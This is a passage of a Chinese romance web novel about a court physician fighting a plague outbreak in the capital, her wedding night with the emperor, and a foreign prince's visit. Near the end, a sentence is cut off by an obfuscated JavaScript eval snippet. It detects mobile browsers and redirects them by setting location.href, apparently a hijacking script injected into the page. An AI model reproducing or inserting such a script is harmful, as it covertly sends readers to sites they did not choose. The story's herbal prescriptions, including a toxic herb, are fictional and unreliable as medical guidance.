“方才我询问病患,他们都提到了老鼠,院首,你说,会不会是鼠疫?”秦时月拧眉猜测道。 闻言,院首连忙翻找医书,很快找到了相关记载。 “您看!这里写着鼠疫,与这些病患的症状一模一样!” “可京中向来干净,怎么会有带病菌的老鼠?”另一个太医疑惑道。 “因为这老鼠,不是京城的。”秦时月叹了口气,看向破庙的方向,“是他们带来的。” “微臣想起来了。前几日户部奏报,南方连续一个月小雨不断,许多粮库都积了水,潮湿的环境最易鼠类猖獗。”刘太医开口。 这些病患中,有几位是从南方来的,还有两位从南方来了后,到京中粮库做工。 粮库的粮食多从南方调运,怕是南方携带病患的老鼠已经随着粮食进京了…… 潮湿环境利于鼠类生存,病菌也更容易在潮湿环境中存活。 想清楚这些后,秦时月立即吩咐道:“立刻派人去查验京中所有粮库,清理老鼠,再派一队人马上前往南方,核实当地是否有类似病症,若有,也好提前防范!” 禁军得了领命,连忙应下,“是,县主。” “还有一件事,发出布告,告知城中百姓,若出现高热等症状,立刻来这边就诊,切不可隐瞒病情!” “臣遵旨!”禁军统领连忙应下,转身去安排人手。 院首看向秦时月,眼中带着钦佩的目光。 “我们先医治病人吧。”秦时月带头道。 “是,县主。”太医们齐齐拱手作揖。 虽然秦时月目前仍是县主之身,但大家伙都知道,她是皇后,只不过仪式未完成罢了。 更何况,她医术出众,又亲自救治了一城百姓,他们望尘莫及。 院首与太医们翻遍医书,未曾找到彻底根治鼠疫的法子,医书上只有记载,并无诊方。 这让秦时月有些头疼。 她记得东方苑好像教过她,但一时半会儿,她记不清。 看来,还需要多方面试验一下。 “先稳住病情。”秦时月叹了口气,“至于根治方法,大家一起想办法。” 众人领了命令走入破庙,开始给每位病人诊脉拿药。 秦时月看着这一幕,心中不仅变得沉重起来。 若是不尽早解决鼠疫,怕是会有大麻烦,一旦出现人传人的现象,只怕京城会很快沦陷。 不过这场鼠疫,究竟是天灾还是人祸? 为何会赶在她与宋墨辰大婚成日,爆发此等祸事。 怎么看,都像是有人故意为之。 察觉到秦时月的异常情绪,院首拱手道:“县主,我等会竭尽全力。” “多谢各位太医。”秦时月道谢,“百姓,就交给你们了。” 虽然她医术高超,但她不是大罗神仙,况且太医们行医多年,医术自然不在话下,劲往一处使才行。 秦时月在破庙忙到深夜,直到为最后一位病人诊完脉,才收起了自己的针灸包,往城门方向走去。 天色已晚,不知宋墨辰是否休息了。 秦时月踩着泥土往皇宫的方向走,正红色婚服上满是泥点,在灰蒙蒙的天色里格外显眼。 她抬头看着远处的宫墙,心里想着该如何跟宋墨辰解释。 先前她扯下凤冠离开,想必他还在生气,可如今查明了病因,只要及时清理鼠患,诊治病患,就能控制住疫情,她必须尽快让宋墨辰知晓。 可她越接近宫门,神经就越紧绷。 这么晚了,说不定宋墨辰已经休息,更何况,现在她的浑身脏兮兮的,怎好靠近他? 迟疑着,秦时月决定先回侯府,等明日再进宫。 她不知道的是,御书房内,宋墨辰正站在窗边,等待着她的到来…… “陛下,喝口参汤暖暖身子吧,您在这儿站了快一个时辰了。”侍书劝说道。 宋墨辰没有回头,面色凝重,“皇后还在破庙吗?” “是。”侍书垂着眼,“方才派去的人回禀,皇后娘娘正和几位太医查看病患的脉案,连晚膳都没顾上用。” 宋墨辰叹了口气,缓缓转过身,烛火映在他脸上,能看到眼底的红血丝。 “侍书,你跟着朕多少年了?” 侍书一愣,随即回道,“回陛下,已有十五年了。” “十五年啊,时间过的真快。”宋墨辰轻声重复,“有件要紧事,要你亲自去办。” 这件事只有侍书去合适,若是让御前侍卫去,怕是会引起骚动。 “陛下请吩咐。”侍书拱手道。 “这些病患大多来自南方,必须尽快查清楚根源。”宋墨辰道:“这次鼠疫,究竟是人为还是凑巧!” 不知为何,他总感觉与耶律良才脱不了关系。 侍书点头,“是!” 宋墨辰转过身,目光落在侍书身上,“你挑选十名影卫,今夜就出发,尽快把真相给朕查出来!记住,路上不要耽搁,但也务必注意安全,朕要你们都平安回来!” “是,属下这就去准备。”侍书躬身应道。 紧接着,宋墨辰从袖中取出一枚令牌,递给他,“你拿着它,见令如见朕。若是有人敢推诿扯皮,你直接拿令牌治他的罪,不必手软。” 侍书双手接过令牌,“属下记住了。” “第二件事。”宋墨辰继续说道,“京城药物稀缺,全国范围收购治疫药材,不管是药铺里的存货,还是药农手里的鲜药,都要尽可能收上来,以备不时之需。” “属下明白。” 宋墨辰走到窗边,望向窗外,夜色已经浓了。 侍书临走前,发现他还站在窗口,视线一直放在长乐侯府的方向。 第330章 共浴 “陛下,您也别太担心皇后娘娘,皇后娘娘聪慧,定会照顾好自己,陛下要保重龙体呀。”侍书劝说道。 听到这话,宋墨辰的嘴角扯出一丝苦笑。 “朕知道,月月乃当世奇女子,可她,毕竟是女子……”宋墨辰轻轻叹了口气。 虽说秦时月巾帼不让须眉,但他知道,秦时月也会累,如果可以,他希望秦时月能轻松一点。 “你尽快把药材运回来,旁的,只能交给天意了。”宋墨辰看向窗外。 见状,侍书张了张嘴,想说些什么,最终还是没说,只是轻轻应了声“是”转身而出,并带上了殿门。 殿门关上的那一刻,宋墨辰收回视线捏了捏发胀的眉心。 不知月月那边如何了,若他不是皇帝,便能不顾一切的同她一起前去救治百姓,可,若他不是皇帝,也护不住她…… 揽月园内只点了两盏烛台,烛火微亮,屏风后的秦时月褪去大红嫁衣。 她的指尖刚触到浴桶里的温水,便忍不住轻叹了口气。 温水漫过腰腹,暖意顺着毛孔往骨子里渗。 秦时月抬手拨了拨水面,水花轻响。 “小荷。”秦时月对着屏风外轻唤了一声,“进来帮我擦背。” 屏风外静了片刻,没有传来小荷的应和声,但却响起了一阵轻缓的脚步声,脚步声慢慢靠近。 秦时月闭着眼,以为是小荷进来了,神情放松。 不一会儿,那人走了进来,抬手轻轻扶上她的肩膀。 “小荷,你换香包了吗?”秦时月蹙眉。 小荷的香包明明是百合花的味道,为何今日的她,身上却有一股熟悉的龙涎香? 秦时月像是后知后觉的意识到什么,猛地回头。 只见一道长长的身影立在浴桶旁。 看清此人,她瞳孔骤然一缩。 宋墨辰! 他不知何时卸了冠,长发只用一根玉簪束着,几缕碎发垂在额前,看起来颇有些勾栏意味。 “陛下?”秦时月吞口唾沫移开视线,手忙脚乱地往水下缩了缩,“你怎么会在这里?小荷呢?” 宋墨辰没有回答,只是俯身,指尖轻轻碰了碰浴桶边缘的水汽。 “我让她退下休息了,我来陪你。” “陛下!”秦时月脸颊瞬间红了起来,“男女有别,何况,何况这地方实在不妥,你快出去,我自己来就好。” 说着,秦时月捂着前胸往后退了退,但她身后就是浴桶边缘,根本就是退无可退。 宋墨辰心情大好,嘴角带笑的伸手按住了她的肩膀。 他滚烫修长的手指落在她裸露的肩颈上,粗粝的指腹不轻不重的游移着。 “别动。”他低头,灼热的气息拂过她的耳垂。 “我……”秦时月愣了一下,心里闪过一丝酥麻又说不出意味的感觉。 “自己怎么擦得舒服?我帮你。” 不等她回应,宋墨辰拿起放在桶边的帕子,蘸了些温水,轻轻覆在她的背上。 帕子的温度刚刚好,他的动作很轻。 当他的指尖擦过秦时月的皮肤,秦时月心跳变得越来越快,甚至连呼吸都乱了。 “陛下,真的不用。”秦时月抬手盖住他作乱的大手,心慌意乱道:“我,我自己来就好,你这样,实在不合规矩。” 在她眼里,她与宋墨辰还未成婚,实在不合适有如此亲密举动。 虽然在她心中,已经嫁给他无数次。 “规矩?”宋墨辰低笑了一声,眸光深深,“大婚之日,你扯下凤冠转身离去,有没有考虑过我的感受?” 闻言,秦时月低下了头。 “我不过是想给你擦个背罢了,月月不用紧张。”宋墨辰轻声诱哄。 其实他是有怨的,他气秦时月抛下他去看望病人,气她不顾自己的安危,气他在她心中的排序不是第一。 但他也知道,正是这样的她,才是他钟爱的那个她。 秦时月被他说得一噎,脸颊更红了。 她知道自己冲动,可京中突现疫情,她实在没法安心完成婚礼。 此刻被宋墨辰这样直白地提起,她还是有些无措,只能小声辩解,“特殊情况,京中百姓性命攸关……” 她也是一万个不舍,可,她没有办法。 “是该暂停。”宋墨辰的动作顿了顿,“可在朕心里,典礼从来没停过。” 秦时月的心猛地一跳,正要回头,便觉他俯身靠近,唇轻轻落在了她的后颈上。 “陛下!”秦时月浑身一颤,皮肤上泛起一层红。 她猛地往前缩了缩,却被他从身后轻轻抱住。 宋墨辰的手臂环在她的腰上,力道不重,却让她动弹不得。 “月月,我们已经成婚了,不是吗?”宋墨辰的声音里带着魅惑。 “可,可礼未成啊……”秦时月声音缱绻,轻颤的声线让她忍不住浑身发软,“大婚的仪式只行了一半,凤冠霞帔都被我扯了,不能算礼成……” “仪式算什么?”宋墨辰收紧手臂,将她抱得更紧了些,滚烫的呼吸烫的她后颈疼,“朕说算,就算,从你点头应下这门婚事的那天起,你就是朕的皇后,就算没有祭天,没有拜堂,你也只能是朕的人。” 这话说的霸道又直白,却让秦时月的心莫名一软。 “陛下。”她的声音软了下来,“可是京中疫情未平,百姓还在受苦,我们现在,现在做这些,是不是不太好?” “唤我的名字。”宋墨辰眸光闪烁,执拗的说了一句。 “……墨辰。” 宋墨辰低头,唇轻轻蹭过她的耳垂,“我不做什么,只是想见见你。” 说完,他拿起帕子,继续给她擦背,这次的动作比刚才更轻了些。 “我知道你担心百姓,但你不能只想着别人,也要想着我。” 闻言,秦时月的眼泪终于忍不住落了下来。 他知道,宋墨辰心里不仅有江山社稷,还有她。 在他心里,她是最要紧的存在,可在她心里,存在了太多。 “墨辰。”秦时月转过身面对着他。 浴桶不大,两人靠得极近,她几乎能看清他眼底的红血丝。 秦时月抬手,轻轻碰了碰他的眉眼,“对不起,让你担心了。” 第331章 同房后送来避子汤?无情! 宋墨辰握住她的手,放在唇边轻轻吻了吻。 “跟我说什么对不起,你想做什么就去做,我会永远支持你。” 他俯身,唇缓缓靠近秦时月的唇。 秦时月的心跳得越来越快,闭上眼睛,轻轻迎了上去。 宋墨辰的吻很轻,慢慢加深,他的手轻轻揽着她的腰,另一只手轻轻抚摸着她的长发。 不知过了多久,他才缓缓放开她,额头抵着她的额头,呼吸有些急促。 “水快凉了,我帮你擦干,咱们早些歇息吧。” 秦时月没有拒绝,只是乖乖地靠在他怀里,任由他帮自己擦干身体。 等宋墨辰帮她擦干身体,屋内的烛火已经有些昏暗了。 他抱起她,脚步轻缓地走向内殿的床榻,将她轻轻放在柔软的被褥上。 “月月,可以吗?”宋墨辰眸光熠熠,轻声问道。 秦时月笑了一下,主动伸手揽上宋墨辰的脖子,表示同意。 “我是谁?” “宋墨辰。” “其他呢?” “……夫君。” 窗外,月色正好,一室旖旎。 …… 婢女第三次伺候他们用完水,宋墨辰轻柔又餍足的摩挲着秦时月的肩头,“累吗?” 秦时月靠在他肩头,娇羞地回道:“还好,就是,浑身都软了。” 话刚说完,脸颊又热了起来。 宋墨辰宠溺的笑了一下,指尖轻轻捏了捏她的下巴,让她转回来看着自己。 “害羞什么?你是我的妻子,这辈子,我都要这样待你。” 说着,他拿起一旁的帕子,帮秦时月擦拭了一下手臂。 不多时,屋外突然传来小荷的声音,秦时月下意识的直起腰。 “小姐,宫里来人了……” 小荷还未说完,宋墨辰便出言打断,“让她进来吧。” 紧接着,一个宫女推门而入,她手上端了个托盘,托盘上放着一碗还冒着热气的汤药。 “陛下。”宫女行礼。 守在屋外的小荷立即走了进来,她看着那碗汤药,随后红着眼眶看了看秦时月。 方才在屋外,她隐约听见殿内的动静。 此刻见到这碗汤药,心里早已有了猜测。 这个时候陛下让人送汤药过来,不是避子汤还能是什么? 小姐为了陛下,为了百姓劳心劳力,连大婚都没能好好完成,如今却要喝这种药,实在太不值了。 小荷越想越委屈,眼眶红得更厉害了。 她想要阻止秦时月,可她又不敢多言。 不过,若是小姐不愿喝,她便是拼了命,也要把这碗药倒掉。 “你这几日累坏了,喝了好睡些。”宋墨辰拿起药碗,用勺子舀了一勺。 秦时月刚要开口,宋墨辰却说,“乖,就喝一碗,喝完睡个好觉,明日醒来,说不定南方的消息就到了。” “好。” 秦时月微微张口,任由他将药汁喂进嘴里。 一碗药喂完,宋墨辰将空碗放在一旁的桌子上,她靠在他怀里,眼皮越来越重。 “你也早点睡。” “好。”他应着,将她往床榻内侧挪了挪,自己也掀开被子躺了进去。 今日大婚虽有波折,可此刻能将月月拥在怀里,成就夫妻之实,听着她的呼吸声,宋墨辰觉得所有的慌乱都有了归宿。 见到这一幕,小荷心里虽仍有担忧,但还是和宫女识趣的退了出去。 至少,陛下看小姐的眼神是带着柔情的,做不了假。 翌日一早,秦时月睁开双眼,抬手摸了摸身侧的位置。 是空的,床褥已凉。 想来,宋墨辰已经离开多时。 “小姐,你醒了?”房间门被轻轻推开,小荷端着铜盆走了进来。 秦时月坐起身,看到了她发红泛肿的眼眶,疑惑道:“小荷,你怎么了?眼睛怎么肿成这样,是出了什么事?” 闻言,小荷立即低下头,不敢看她,“没什么事,许是昨夜风大,吹得眼睛有些不舒服。” 说完,小荷弯腰去拿铜盆里的帕子,动作却有些慌乱,帕子不慎滑落在地。 “还说没事。” 秦时月掀开被子打算下床,腰部的酸胀让她忍不住皱皱眉,但她还是走到小荷身边,弯腰捡起帕子。 “你跟着我这么多年,我又不是不了解你,有话就直说。” 突然,小荷猛地跪倒在地,声音里满是委屈,“是奴婢没用,奴婢没保护好您!” “这话说的是什么意思?”秦时月连忙扶她起来,将她拉到床边坐下,“到底出了什么事,你慢慢说,别着急。” 小荷抹了把眼泪,抬起头看着秦时月。 “小姐,您对陛下那么好,可陛下呢?他怎么能这么对您?” 秦时月听得一头雾水,“他怎么对我了?” 难道昨夜宋墨辰趁着自己休息,还做了别的事? 想到这儿,她不仅有些疑惑。 昨夜太累了,累到最后她完全没有记忆,甚至不知宋墨辰是何时离开的。 “小姐,你还记得昨夜宫女送来的那碗汤药吗,你难道没怀疑过那碗药是什么吗?” 听到这话,秦时月愣了一下。 “那碗药?有什么问题?” “那分明是,分明是避子汤啊!”小荷说道,神情变得紧张起来。 她以为小姐知道那是避子汤,可现在发现,小姐根本就不知道那是碗什么药! 都怪她昨日没有上前阻止。 “避子汤?”秦时月听到这三个字,先是一怔,随即忍不住轻笑出声来,“你这丫头,脑子里都在想些什么?我自己就是大夫,药碗刚端进来,我闻气味就知道是补气血的,怎么可能是避子汤?” “小姐就是太信任陛下了!奴婢昨夜在廊下听得清清楚楚,那宫女说,是陛下特意吩咐太医院熬的药。”小荷愤愤说道:“哪有洞房完就喝汤药的?必然是避子汤无疑了。刚成婚就想着让您避子,这也太不公平了!” “你啊,真是越说越离谱了。”秦时月无奈地叹了口气,拉着小荷的手,耐心解释道:“你忘了,昨日我为了查鼠疫,在破庙待了一整天,昨夜又被他折腾到那么晚,若是不及时补气血,身子哪能撑得住?” 秦时月知道,宋墨辰是担心她,才让人提前准备了这碗药。 第332章 误会解开 他若是真的想避子,怎会用一碗药打发她这个医者? 更何况,昨夜自己歇在揽月园,长乐侯府距皇宫有一定距离,宋墨辰却想都没想就悄悄出了宫,来这里找她。 若是他不想要孩子,何至于此? 闻言,小荷张了张嘴,半天说不出话来。 过了好一会儿她才反应过来,脸颊瞬间涨得通红,抬手拍了拍自己的脑袋。 “哎呀!奴婢真是糊涂!竟然把这么重要的事给忘了,还在这里瞎猜,差点误会了陛下,也让小姐跟着担心!” “你也是为了我好,我怎么会怪你?”秦时月笑着拉过她的手,轻轻拍了拍,“不过以后可不许再这么胡思乱想了。” 小荷用力点头,愧疚道:“小姐放心,奴婢以后再也不瞎猜了!” “好了,别想那么多了,快帮我梳洗吧,一会儿我还要去看看那些病患。”秦时月起身,走到梳妆镜旁边坐下。 “哎,好嘞!”小荷连忙应下。 看着小荷认真的模样,秦时月忍不住笑出声来。 上一世,这小丫头为护她死在卓静手里,这一世,她不仅会护她周全,还会把她当妹妹宠爱。 正巧这时,肖嬷嬷匆匆走了进来,见秦时月与小荷坐在一起,连忙将视线低下。 见状,小荷察觉到什么,立即起身,站在秦时月身旁。 “何事?”秦时月问了一句。 “回小姐,太医院的李太医来了。”肖嬷嬷说道。 闻言,秦时月点了点头,“让李太医先去花厅,我这就过去。” “是。” 肖嬷嬷离开后,小荷立即为她梳洗装扮。 收拾完毕后,她在小荷的搀扶下往花厅走去。 两人刚走到花厅门口,就见李太医提着药箱站在台阶下。 李太医的官袍沾着晨露,眼底乌青,头发也有点乱糟糟的,想来昨日定然没有休息。 看到秦时月前来,李太医连忙走了过去,躬身行礼。 “臣参见明月县主!” 李太医并不知道昨晚之事,依旧唤县主,对此,秦时月没有多说什么。 毕竟宋墨辰的封后仪式还没完成,她算不得皇后。 “进来罢,外面凉。”秦时月抬脚往花厅走去。 小荷顺手接过李太医手里的药箱。 进了花厅,李太医刚坐下,就从袖中掏出几张叠得皱巴巴的纸。 “县主,这是今晨刚搜集记录的脉案,臣等按之前的方子加了药量,可一点用都没有。” 秦时月接过脉案,仔细的看了一番。 “这疫症邪性,湿热裹着毒,拥堵在肺里,寻常的清热药根本透不进去。” “是啊!”李太医急忙点头,语气里满是认同,“臣等也看出是湿热郁肺,可加了黄芩,病患反倒咳得更厉害,县主,您要是有方子,就别瞒着臣了,京里的百姓还等着救命呢!” “我哪能瞒着?”秦时月叹了口气。 她恨不得拿出毕生所学救治百姓,可惜…… 不管如何,听天命尽人事吧。 她走到书案前,拿起毛笔,“太医院的药库,青翘还有多少?” “有不少!”李太医立刻应声,声音都亮了些。 “桑白皮呢?” “也有!”李太医连忙说。 秦时月点点头,这才落笔写字。 “青翘四钱,桑白皮三钱,……” 李太医在旁边眼睛一眨不眨地看着,眼神发亮,“县主,这方子要不要加甘草,调和一下药性?” “不用。”秦时月摇摇头,将方子折好递给李太医,“你拿回去,按这个方子抓药。” “是。”李太医双手接过方子,“多谢县主。” 虽说有了方子,但秦时月不能保证完全可行。 这是她第一次遇到鼠疫,只能按照平时的经验将方子写出来,若是想彻底根治,怕是还要一段时间。 “先用用看,要是有什么情况,随时派人来告诉我。” “哎!”李太医连连点头,起身就要走。 突然,他像是想起什么似的,转身从药箱里拿出个小瓷瓶,“县主,这是臣给您带的大补丸,帮您调养身体的。” 秦时月心里一暖,看向瓷瓶,“辛苦你了。” 李太医躬身行了一礼,转身而出。 待他走后,秦时月松了口气,她靠在椅子上,视线落到破庙的方向。 “小姐为了这些病患,真是操碎了心。”小荷站在一旁忍不住心疼的多说了一句。 “等这疫症过去了,咱们就能好好歇歇了。”说完,秦时月重新坐回书案前,拿起李太医送来的脉案。 见状,小荷有些不忍心,劝说道:“小姐,要不要先休息一下?至少吃点东西。” “没什么胃口,我想再研究一下。”秦时月蹙眉。 小荷没再劝,只是拿起案边凉了的茶杯,转身去换热水。 刚走到门口,就见院门外站着个身影。 单看那人的装扮,似乎不是京城人士。 她心里一紧,刚要开口问,那人已经迈步进来。 “烦请姑娘通传,契丹耶律良才,求见明月县主。” 小荷愣了一下,才发现此人竟然是耶律良才。 比起早年,如今的他变化颇大,少了几分年少时的书卷气,相反,多了几分不怒自威的王霸之气。 小荷福福身子,转身进厅,“小姐,耶律良才来了,就在门外。” 秦时月手里的笔顿了顿,眼底闪过一丝意外。 放下笔,她起身理了理衣襟,“让他进来吧。” 耶律良才攥着一张纸走进花厅,见到心心念念的人儿后,唇角才忍不住微微上扬。 “县主。” 以往,他还能唤秦时月的名字,可如今,只能称呼她为县主。 “耶律王客气了,请坐。”秦时月指了指旁边的椅子,自己也坐回案前,目光不自觉地避开他的视线。 他的视线太热烈,她无法承担。 若不是两国之间需要和平相处,秦时月是不会让他进来的。 小荷端着热茶进来,恭敬的放在了耶律良才面前,又给秦时月换了杯新茶,才轻手轻脚地退了出去,顺手把门虚掩上。 厅里静了片刻,耶律良才先开了口。 “听闻县主连日都在研究疫症的方子,连饭都顾不上吃。”他将视线放到秦时月面前的脉案上,眉头轻皱,“县主该顾着自己的身子,别让我……关心您的人担心。” 第333章 相对而食,相处融洽 话说到一半,耶律良才悄悄改了口,把我字咽了回去。 虽然耶律良才很想说,但他知道秦时月不喜欢。 “都是分内之事。”秦时月端起茶杯,轻轻喝了一口,“京中鼠疫蔓延,百姓受苦,我既然懂些医理,自然不能坐视不管,不过,大王前来侯府,想必不是为了说这些客套话吧。” 耶律良才笑了笑,他将手中的纸递了过去,“我亦是为了鼠疫而来。” “这是我从契丹带来的一张古方,早年契丹也曾闹过类似的疫症,就是靠这方子控制住的,我想着或许能帮上忙,便连夜誊写了一份……” 其实他本不想帮忙的,可奈何秦时月竟然主动承担照顾病患的重任。 他知道鼠疫的可怕,担心她染上鼠疫,这才连夜回想,誊抄。 秦时月接过方子展开,确实是一副古方。 她眼里满是意外,拧眉的看了眼他,满脸问号。 “这方子……”秦时月疑惑道:“狼毒草毒性不小,寻常方剂里都不敢用,耶律王的古方里,却用了这么大的剂量……” 以毒攻毒吗? 未免有些太过冒险。 如果,东方苑还能入梦就好了…… “县主放心。”耶律良才前倾身体,淡定的说道:“狼毒草确实有毒,但石斛能解它的毒性,我献上这方子,只是给你做个参考,能用便用。” 他并不在乎靖垣百姓的死活,他只在乎秦时月的安危,也不想看到她为了那些贱民整日劳心伤肺的。 “谢谢。”秦时月点点头,“这方子我收下了,日后耶律大王有用得到我的地方,尽管说。” “对了,还有一点,别空腹喝药。” 说完,耶律良才的目光不自觉地落在秦时月的脸上,见她听得认真,嘴角忍不住微微上扬。 “多谢大王费心,等明日我跟太医院的人商量一下,要是能试药,还得麻烦耶律王多指点。” “客气了。”耶律良才摆摆手,刚要再说些什么,肚子却突然“咕噜”响了一声。 他愣了一下,连忙伸手摸了摸肚子,窘迫的笑了一下。 听到声音,秦时月下意识的看向他,随后反应过来,低头不语。 “见笑了,我担心你这边,所以从驿馆直接过来,走得急,还没来得及吃饭。”耶律良才尴尬的挠了挠头。 他怎么能在时月面前做出那么不雅的事情呢? 等等,既然自己都如此窘迫了,时月应该不能让他饿着肚子把他赶走吧…… “巧了,我也没吃,小荷。”秦时月朝着门外喊了一声。 “小姐。” “让厨房做两个清淡的小菜,送到厅里来。”秦时月吩咐道,又看向耶律良才,语气温和,“耶律大王不嫌弃的话,就留下来一起用些吧。” 虽说她对耶律良才没有别样的心思,但这次他是来帮忙的,加上过去的事……她总不能让人空着肚子走。 耶律良才心里猛地一跳,连忙点头,“好,那我就不客气了。” 不一会儿,小荷和另外两个婢女就端着托盘走了进来,托盘上是几碟小菜和两碗清粥,一份香喷喷的糜肉包。 “小姐,耶律王,快趁热吃吧。”小荷摆好碗筷,又给两人各盛了碗汤,才轻手轻脚地退了出去。 耶律良才看着碗里冒着热气的清粥,又看了眼秦时月拿起汤匙的手,低头笑了一下。 没想到,他还能和时月同桌而食,这种相处的感觉,倒有些像新婚夫妻。 他目光落在秦时月的侧脸,看着她喝粥的动作,喉结轻轻动了一下。 秦时月放下汤匙,拿起筷子夹了口小菜,“这是小厨房做的,正好适合现在吃。” “确实好。”耶律良才眉目柔情,嘴角带笑。 突然,他像是想到了什么似的,转移话题道:“听说这鼠疫是从南方那边来的,也不知南方那边情况如何了。” 闻言,秦时月夹菜的动作顿了顿。 “江南一带潮湿,疫症要是在那边蔓延,比京里更难控制。” 说到这儿,她放下筷子,眉眼无奈的拿起旁边的茶喝了一口,“太医院的人都在京里忙碌,一时抽不开身,我打算亲自去南方一趟。” 方才李太医来时,她便有这个想法了。 这次鼠疫的源头在南方,想要根治,就要从源头上根治。 “你要去南方?”耶律良才猛地抬头,声音都提高了些,“南方现在是什么情况还不清楚,你一个女子,怎么能去那么危险的地方?” 秦时月笑了笑,“我虽是女子,更是医者,总不能看着百姓受苦而不管。” 何况,类似危险的情况她也只身涉险多次,她倒是不觉得有什么不妥。 耶律良才看着她坚定的眼神,眉头紧锁。 他知道她的性子,一旦决定了的事,就不会轻易改变。 既如此,那他就同她一起! “如今我在京里也闲着无事,我和你一起。”耶律良才说道:“就像是在禹城的时候,也是我同你一起去的。” 在禹城的那段时光,虽说辛苦,但他很开心。 那段时间,宋墨辰不在,只有他和秦时月…… 秦时月摇了摇头,“多谢大王好意,只是不必了,如今我是靖垣的皇后,你是契丹的王,我们若是一同去南方,难免会被人说闲话,授人以柄。” 大婚虽未完成,但她不会给他半分念想。 况且,他们之间,只能是朋友。 “劳什子皇后,你们的仪式……” “慎言!”秦时月皱着眉头出言打断。 耶律良才的心沉了下去,他看着秦时月疏离的眼神,知道她是认真的。 半晌,耶律良才攥紧拳头,勉强笑了笑,“县主说得是,是我考虑不周了。” 虽然嘴上是这样说,可他并不死心,内心里已经在盘算该如何暗中跟着她前去。 “多谢耶律王。”秦时月平淡的说道:“快吃饭吧,菜要凉了。” “是。”耶律良才夹起一筷子小菜送进嘴里,却味同嚼蜡。 见他死心,秦时月这才放下心来。 就在这时,院门外忽然传来一阵急促的脚步声。 第334章 宋墨辰突发咳嗽 “皇后娘娘!皇后娘娘!” 两人同时抬头看向门口,只见一个穿着青色宫装的侍卫走了进来。 是影九。 影九一进门,看到厅里相对而坐的两人愣了一下,显然他没料到会有外人在,那人还是耶律良才。 但此刻他也顾不上这些,连忙拱手行礼。 “娘娘!不好了!陛下他咳起来了!” 影夜被安排去调查南方鼠疫一事后,影九便暂时替代了影夜的位置。 “你说什么!?”秦时月猛地站起身,快步走到影九面前,满脸焦急,“陛下怎么会咳嗽?昨夜他还好好的啊。” 昨夜他把她折腾的不行,可完全没有要生病的迹象。 她不敢想,现在京里到处都是咳血的鼠疫,他要是上染了,后果会是如何的不堪设想。 影九道:“属下也不知道,陛下一早就入御书房看起了奏折,不知怎的,突然咳嗽不止。起初只是轻咳,可刚才咳得越来越厉害。太医院的御医们都被派去城外的隔离点了,宫里只剩下几个年轻太医,根本不敢给陛下用药。” 听到这番话,秦时月的脸色瞬间变得惨白,她踉跄着后退了一步,扶住身后的椅子才站稳。 耶律良才连忙站起身,伸手想扶她,影九却上前一步,率先扶住了秦时月。 “你别慌,先冷静些。”耶律良才眸光沉沉,轻声说道。 秦时月深吸一口气,强迫自己冷静下来。 她知道现在不是慌乱的时候,宋墨辰还在宫里等着她。 她深吸口气强自镇定下来,立即对屋外的小荷喊道:“小荷!快把我的药箱子拿来!我要立刻进宫!” 有影九在,她甚至不需要马车。 “我这就去!”小荷从跑进来,看到眼前的阵仗,知道事情紧急,连忙转身去拿药箱。 “宫里的马车已经在府门外等着。”影九说道。 秦时月点点头,转身对耶律良才道:“大王,今日多谢你送的方子,宫里出了急事,我就不留你了,请便。” 她现在满心都是宋墨辰,根本没心思顾及其他。 耶律良才看着她慌乱的模样,心里不免有些失落。 在她心里,宋墨辰永远是最重要的。 但他不得不装出一副释怀的样子,安抚,“你别着急,要是宫里有需要帮忙的地方,随时派人去驿馆找我。” 小荷很快提着药箱跑出来,秦时月接过药箱,对耶律良才点了点头,跟着影九快步往外走。 耶律良才站在花厅里,看着她的背影消失在门口,心里空落落的。 离开长乐侯府后,马车直接往皇宫驶去。 …… 景耀殿。 守在门口的太监见到秦时月,连忙躬身开门,“皇后娘娘,陛下刚又咳了几声,脸色不大好。” 虽说二人并未行册封礼,但宫人都知道,秦时月是靖垣的皇后。 秦时月脚步没停,跟着太监进入景耀殿。 这是宋墨辰登基**住的寝宫,距离御书房不远,他咳嗽少缓后,宫人便扶着他回了这里。 此时,床上的帐幔半掩着,宋墨辰靠在床头,一脸虚弱。 秦时月看到这一幕,眼眶一热,连忙走到他身旁,抬手为他诊脉。 半晌,她的情绪总算平稳下来,紧皱的眉头也慢慢舒展。 “幸好,不是疫症。”她松了口气,语气里带着点嗔怪,“许是你连日熬夜处理政务,熬得气血亏空。再这么下去,不等疫症过去,你自己先垮了。” 宋墨辰看着她紧绷的脸,伸手想触碰她,却被她轻轻避开。 她刚从外面来,怕带了寒气给他。 “有你在,我哪会垮。”宋墨辰笑了笑,“京里疫症未平,南方又传了奏报,我总得多盯着些,不然怎么放心。” “我给你开个补气血的方子,再加两味清肺热的,你按时喝。” 宋墨辰望着她严肃的表情,忽然开口,“月月,搬进宫住吧,在宫里住还方便些,寝殿我已让人收拾出来。” 秦时月写方子的手顿了顿,她抬头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339841|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向他,眼神里带着点犹豫。 “……你知道的,我暂时搬不了,南方那边感染鼠疫的百姓多,要是传开来,比京里难控得多,我想,亲自去南方一趟。” “你要去南方?”宋墨辰的脸色瞬间沉了下来,撑着无力的身子也要坐起来,“不行!南方现在是什么境况都没摸清,疫症凶险,你一个女子,又是皇后身份,怎么能去那种地方!太医院那么多人,随便派谁去都成,轮不到你去冒险!” 秦时月早料到他会反对,解释道:“派别人去我不放心,我是医者,见着百姓受苦,哪能坐视不管?” “你是我的妻子,社稷安稳要顾,可你的安危就不重要了吗?京里需要你,我更需要你,你要是出了差池,让我怎么办?”宋墨辰红了眼眶。 “我首先是我自己,其次是靖垣的皇后,最后才是你的妻子。”秦时月看着宋墨辰,眼里带着化不开的情愫,“我是靖垣的皇后,才该为百姓着想!南方的百姓等着救命,我怎么能退缩?” 这是他们相识以来,第一次这样争辩。 宋墨辰靠在床头,不停的喘着粗气,她站在床边,眼底泛红。 她以为他懂她,知道她不是菟丝花,可没想到,他却是这样想的。 如果嫁给他,自己会失去自由,那她会毫不犹豫的离开。 东风苑说过,女子,不该靠依附男子而活。 